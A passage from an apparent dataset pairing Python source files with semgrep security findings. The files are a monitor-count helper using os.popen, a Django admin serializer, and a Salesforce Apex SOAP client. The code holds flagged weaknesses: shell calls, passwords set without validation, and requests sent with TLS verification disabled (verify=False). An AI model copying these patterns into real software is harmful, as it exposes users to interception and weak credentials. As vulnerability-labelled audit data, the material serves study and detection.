"cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/23ce43a1644cff3d.py", "start": {"line": 85, "col": 9, "offset": 3048}, "end": {"line": 85, "col": 53, "offset": 3092}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_23ce43a1644cff3d_c184b7a0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 99, "line_end": 99, "column_start": 9, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/23ce43a1644cff3d.py", "start": {"line": 99, "col": 9, "offset": 3601}, "end": {"line": 99, "col": 56, "offset": 3648}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_23ce43a1644cff3d_8ff28e04", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 113, "line_end": 113, "column_start": 9, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/23ce43a1644cff3d.py", "start": {"line": 113, "col": 9, "offset": 4136}, "end": {"line": 113, "col": 47, "offset": 4174}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
5
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-call-audit", "rules.python.lang.security.audit.dangerous-system-c...
[ "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 67, 71, 85, 99, 113 ]
[ 67, 71, 85, 99, 113 ]
[ 9, 9, 9, 9, 9 ]
[ 42, 47, 53, 56, 47 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "Found dynamic conte...
[ 7.5, 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH", "HIGH", "HIGH" ]
dataForRML.py
/scripts/dataForRML.py
uwlib-cams/UWLibCatProfiles
CC0-1.0
2024-11-18T21:22:47.569240+00:00
1,528,319,947,000
0dd00c82475d982c562845c3797ad3180b098dc8
2
{ "blob_id": "0dd00c82475d982c562845c3797ad3180b098dc8", "branch_name": "refs/heads/master", "committer_date": 1528319947000, "content_id": "547336b741c672b72708e680403853aaa3346cb1", "detected_licenses": [ "MIT" ], "directory_id": "944a3391eb0e524df7548f1ceaaacfbc603513c1", "extension": "py", "filename": "multimon.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 98583395, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 568, "license": "MIT", "license_type": "permissive", "path": "/flickpyper/multimon.py", "provenance": "stack-edu-0054.json.gz:588193", "repo_name": "roma-guru/flickpyper", "revision_date": 1528319947000, "revision_id": "6b16ab05144718e25b9c96b00c5806c56f6255cc", "snapshot_id": "b2b89888060ca2bdd3311d248d48018583c9a644", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/roma-guru/flickpyper/6b16ab05144718e25b9c96b00c5806c56f6255cc/flickpyper/multimon.py", "visit_date": "2018-09-23T10:42:51.261728" }
2.359375
stackv2
import sys def get_screen_count_gnome(): import gi gi.require_version('Gdk','3.0') from gi.repository import Gdk d = Gdk.Display() return d.get_n_monitors() def get_screen_count_x(): try: # Try python-xlib from Xlib import X, display except ImportError: # Try xrandr app bash = 'xrandr -q | grep Screen | wc -l' return int(os.popen(bash).read()) d = display.Display() return d.screen_count() def get_screen_count_win32(): import win32api return len(win32api.EnumDisplayMonitors())
23
23.7
48
14
151
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_293f94259f437384_9741e6e6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 20, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/293f94259f437384.py", "start": {"line": 17, "col": 20, "offset": 393}, "end": {"line": 17, "col": 34, "offset": 407}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 17 ]
[ 17 ]
[ 20 ]
[ 34 ]
[ "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
multimon.py
/flickpyper/multimon.py
roma-guru/flickpyper
MIT
2024-11-18T21:22:52.461874+00:00
1,590,768,041,000
b2459a98415710b56d51b6b56eaab30f37680724
2
{ "blob_id": "b2459a98415710b56d51b6b56eaab30f37680724", "branch_name": "refs/heads/master", "committer_date": 1590768041000, "content_id": "ca03965b9cf0a6588a8720806726cc2f6e45fbde", "detected_licenses": [ "MIT" ], "directory_id": "7162be4491df4ddebb36d6d931ca77161b382e66", "extension": "py", "filename": "admin.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 255350187, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1321, "license": "MIT", "license_type": "permissive", "path": "/meiduo/meiduo/apps/meiduo_admin/serializers/admin.py", "provenance": "stack-edu-0054.json.gz:588201", "repo_name": "physili/django_test", "revision_date": 1590768041000, "revision_id": "09aa61f36e5d32f98af11057ea206dde8d082ac7", "snapshot_id": "af0de4bd14b973c0784bb2704e8a1901e979e343", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/physili/django_test/09aa61f36e5d32f98af11057ea206dde8d082ac7/meiduo/meiduo/apps/meiduo_admin/serializers/admin.py", "visit_date": "2022-08-28T08:02:40.418589" }
2.359375
stackv2
from django.contrib.auth.models import Group from rest_framework import serializers from users.models import User class UserSerialzier(serializers.ModelSerializer): class Meta: model=User fields=('id','username','mobile','email','password','groups','user_permissions') extra_kwargs = { 'id': {'required': False}, 'email':{'required':False}, 'password': {'max_length': 20, 'min_length': 8, 'write_only': True} } # 重写create方法, 新增用户并加密 def create(self, validated_data): #调用父类方法创建管理员用户 admin = super().create(validated_data) #对新用户的密码加密 password = validated_data['password'] admin.set_password(password) admin.is_staff = True admin.save() return admin #重写update方法, 给用户改密码 def update(self, instance, validated_data): # 调用父类实现数据更新 super().update(instance,validated_data) password = validated_data['password'] if password: instance.set_password(password) instance.save() return instance class GroupSerialzier(serializers.ModelSerializer): class Meta: model=Group fields="__all__"
42
27.93
88
13
274
python
[{"finding_id": "semgrep_rules.python.django.security.audit.unvalidated-password_d00df4c5915bcfb0_980b0e4b", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.unvalidated-password", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The password on 'admin' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "remediation": "if django.contrib.auth.password_validation.validate_password(password, user=admin):\n admin.set_password(password)", "location": {"file_path": "unknown", "line_start": 23, "line_end": 23, "column_start": 9, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": "CWE-521: Weak Password Requirements", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2021 - Identification and Authentication Failures", "references": [{"url": "https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.unvalidated-password", "path": "/tmp/tmp10dxl77l/d00df4c5915bcfb0.py", "start": {"line": 23, "col": 9, "offset": 760}, "end": {"line": 23, "col": 37, "offset": 788}, "extra": {"message": "The password on 'admin' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "fix": "if django.contrib.auth.password_validation.validate_password(password, user=admin):\n admin.set_password(password)", "metadata": {"cwe": ["CWE-521: Weak Password Requirements"], "owasp": ["A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation"], "category": "security", "technology": ["django"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_d00df4c5915bcfb0_5cba7e88", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_staff\" a function or an attribute? If it is a function, you may have meant admin.is_staff() because admin.is_staff is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 9, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmp10dxl77l/d00df4c5915bcfb0.py", "start": {"line": 24, "col": 9, "offset": 797}, "end": {"line": 24, "col": 23, "offset": 811}, "extra": {"message": "Is \"is_staff\" a function or an attribute? If it is a function, you may have meant admin.is_staff() because admin.is_staff is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.unvalidated-password_d00df4c5915bcfb0_6dfd0b9e", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.unvalidated-password", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The password on 'instance' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "remediation": "if django.contrib.auth.password_validation.validate_password(password, user=instance):\n instance.set_password(password)", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 13, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": "CWE-521: Weak Password Requirements", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2021 - Identification and Authentication Failures", "references": [{"url": "https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.unvalidated-password", "path": "/tmp/tmp10dxl77l/d00df4c5915bcfb0.py", "start": {"line": 34, "col": 13, "offset": 1122}, "end": {"line": 34, "col": 44, "offset": 1153}, "extra": {"message": "The password on 'instance' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "fix": "if django.contrib.auth.password_validation.validate_password(password, user=instance):\n instance.set_password(password)", "metadata": {"cwe": ["CWE-521: Weak Password Requirements"], "owasp": ["A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://docs.djangoproject.com/en/3.0/topics/auth/passwords/#module-django.contrib.auth.password_validation"], "category": "security", "technology": ["django"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-521", "CWE-521" ]
[ "rules.python.django.security.audit.unvalidated-password", "rules.python.django.security.audit.unvalidated-password" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 23, 34 ]
[ 23, 34 ]
[ 9, 13 ]
[ 37, 44 ]
[ "A07:2021 - Identification and Authentication Failures", "A07:2021 - Identification and Authentication Failures" ]
[ "The password on 'admin' is being set without validating the password. Call django.contrib.auth.password_validation.validate_password() with validation functions before setting the password. See https://docs.djangoproject.com/en/3.0/topics/auth/passwords/ for more information.", "The password on 'instance' is bei...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
admin.py
/meiduo/meiduo/apps/meiduo_admin/serializers/admin.py
physili/django_test
MIT
2024-11-18T21:22:59.151679+00:00
1,648,616,765,000
0ddd22183924571d4bd8fc9c333bf3b038309e89
2
{ "blob_id": "0ddd22183924571d4bd8fc9c333bf3b038309e89", "branch_name": "refs/heads/master", "committer_date": 1648616765000, "content_id": "3b92497eb61c63c2cbe6b1c5c4dc562c7be9924f", "detected_licenses": [ "MIT" ], "directory_id": "3389c87a101ab3314b96bc0f8714aa87bbbdddc6", "extension": "py", "filename": "apex.py", "fork_events_count": 63, "gha_created_at": 1421577607000, "gha_event_created_at": 1648616766000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 29422645, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7060, "license": "MIT", "license_type": "permissive", "path": "/salesforce/api/apex.py", "provenance": "stack-edu-0054.json.gz:588206", "repo_name": "xjsender/haoide", "revision_date": 1648616765000, "revision_id": "586a0bda433030e6db11b20752bc70cb985c6618", "snapshot_id": "2b7d97a3ef4e772eb730ccbed8e2017f4c272a07", "src_encoding": "UTF-8", "star_events_count": 241, "url": "https://raw.githubusercontent.com/xjsender/haoide/586a0bda433030e6db11b20752bc70cb985c6618/salesforce/api/apex.py", "visit_date": "2022-04-29T15:14:11.096405" }
2.40625
stackv2
import sublime import time import pprint import os import csv import json import datetime from xml.sax.saxutils import unescape, quoteattr from .. import xmltodict from ..soap import SOAP from ..login import soap_login, rest_login from ... import requests, util class ApexApi: def __init__(self, settings, **kwargs): self.settings = settings self.soap = SOAP(settings) self.api_version = settings["api_version"] self.session = None self.result = None def login(self, session_id_expired=False): """ Login with default project credentials Arguments: * session_id_expired -- Optional; generally, session in .config/session.json is expired, if INVALID_SESSION_ID appeared in response requested by session in session.json, we need to call this method with expired session flag again Returns: * result -- Keep the session info, if `output_session_info` in plugin setting is True, session info will be outputted to console """ if self.settings["login_type"] == "REST": result = rest_login(self.settings, session_id_expired) else: result = soap_login(self.settings, session_id_expired) if not result["success"]: self.result = result return self.result self.session = result self.headers = result["headers"] self.instance_url = result["instance_url"] self.apex_url = self.instance_url + "/services/Soap/s/%s.0" % self.api_version self.result = result return result def run_all_test(self): # Firstly Login self.login() # https://gist.github.com/richardvanhook/1245068 headers = { "Content-Type": "text/xml;charset=UTF-8", "Accept-Encoding": 'identity, deflate, compress, gzip', "SOAPAction": '""' } soap_body = SOAP.run_all_test.format(session_id=self.session["session_id"]) body = self.soap.create_request('run_all_test') try: response = requests.post(self.apex_url, soap_body, verify=False, headers=headers) except requests.exceptions.RequestException as e: self.result = { "Error Message": "Network connection timeout when issuing RUN ALL TEST request", "success": False } return self.result # Check whether session_id is expired if "INVALID_SESSION_ID" in response.text: result = self.login(True) if not result["success"]: self.result = result return self.result return self.run_all_test() # If status_code is > 399, which means it has error content = response.content result = {"success": response.status_code < 399} if response.status_code > 399: if response.status_code == 500: result["Error Code"] = util.getUniqueElementValueFromXmlString(content, "faultcode") result["Error Message"] = util.getUniqueElementValueFromXmlString(content, "faultstring") else: result["Error Code"] = util.getUniqueElementValueFromXmlString(content, "errorCode") result["Error Message"] = util.getUniqueElementValueFromXmlString(content, "message") self.result = result return result content = response.content result = xmltodict.parse(content) try: result = result["soapenv:Envelope"]["soapenv:Body"]["runTestsResponse"]["result"] except (KeyError): result = { "errorCode": "Convert Xml to JSON Exception", "message": 'body["runTestsResponse"]["result"] KeyError' } # print (json.dumps(result, indent=4)) result["success"] = response.status_code < 399 self.result = result return result def execute_anonymous(self, apex_string): """ Generate a new view to display executed reusult of Apex Snippet Arguments: * apex_string -- Apex Snippet """ # Firstly Login self.login() # https://gist.github.com/richardvanhook/1245068 headers = { "Content-Type": "text/xml;charset=UTF-8", "Accept-Encoding": 'identity, deflate, compress, gzip', "SOAPAction": '""' } # If we don't quote <, >, & in body, we will get below exception # Element type "String" must be followed by either attribute specifications, ">" or "/>" # http://wiki.python.org/moin/EscapingXml apex_string = quoteattr(apex_string).replace('"', '') body = self.soap.create_request('execute_anonymous', {"apex_string": apex_string}) try: response = requests.post(self.apex_url, body, verify=False, headers=headers) except requests.exceptions.RequestException as e: self.result = { "Error Message": "Network connection timeout when issuing EXECUTE ANONYMOUS request", "success": False } return self.result # Check whether session_id is expired if "INVALID_SESSION_ID" in response.text: result = self.login(True) if not result["success"]: self.result = result return self.result return self.execute_anonymous(apex_string) # If status_code is > 399, which means it has error content = response.content result = {"success": response.status_code < 399} if response.status_code > 399: if response.status_code == 500: result["Error Code"] = util.getUniqueElementValueFromXmlString(content, "faultcode") result["Error Message"] = util.getUniqueElementValueFromXmlString(content, "faultstring") else: result["Error Code"] = util.getUniqueElementValueFromXmlString(content, "errorCode") result["Error Message"] = util.getUniqueElementValueFromXmlString(content, "message") self.result = result return result # If execute anonymous succeed, just display message with a new view result["debugLog"] = util.getUniqueElementValueFromXmlString(content, "debugLog") result["column"] = util.getUniqueElementValueFromXmlString(content, "column") result["compileProblem"] = util.getUniqueElementValueFromXmlString(content, "compileProblem") result["compiled"] = util.getUniqueElementValueFromXmlString(content, "compiled") result["line"] = util.getUniqueElementValueFromXmlString(content, "line") result["success"] = util.getUniqueElementValueFromXmlString(content, "success") # Self.result is used to keep thread result self.result = result # This result is used for invoker return result
182
37.8
105
16
1,481
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_2e25cd01d09e67da_d8f19725", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 1, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/2e25cd01d09e67da.py", "start": {"line": 8, "col": 1, "offset": 90}, "end": {"line": 8, "col": 49, "offset": 138}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_2e25cd01d09e67da_697a949d", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 69, "line_end": 70, "column_start": 24, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/2e25cd01d09e67da.py", "start": {"line": 69, "col": 24, "offset": 2121}, "end": {"line": 70, "col": 33, "offset": 2208}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_2e25cd01d09e67da_25466539", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.post(self.apex_url, soap_body, verify=False, \n headers=headers, timeout=30)", "location": {"file_path": "unknown", "line_start": 69, "line_end": 70, "column_start": 24, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/2e25cd01d09e67da.py", "start": {"line": 69, "col": 24, "offset": 2121}, "end": {"line": 70, "col": 33, "offset": 2208}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.post(self.apex_url, soap_body, verify=False, \n headers=headers, timeout=30)", 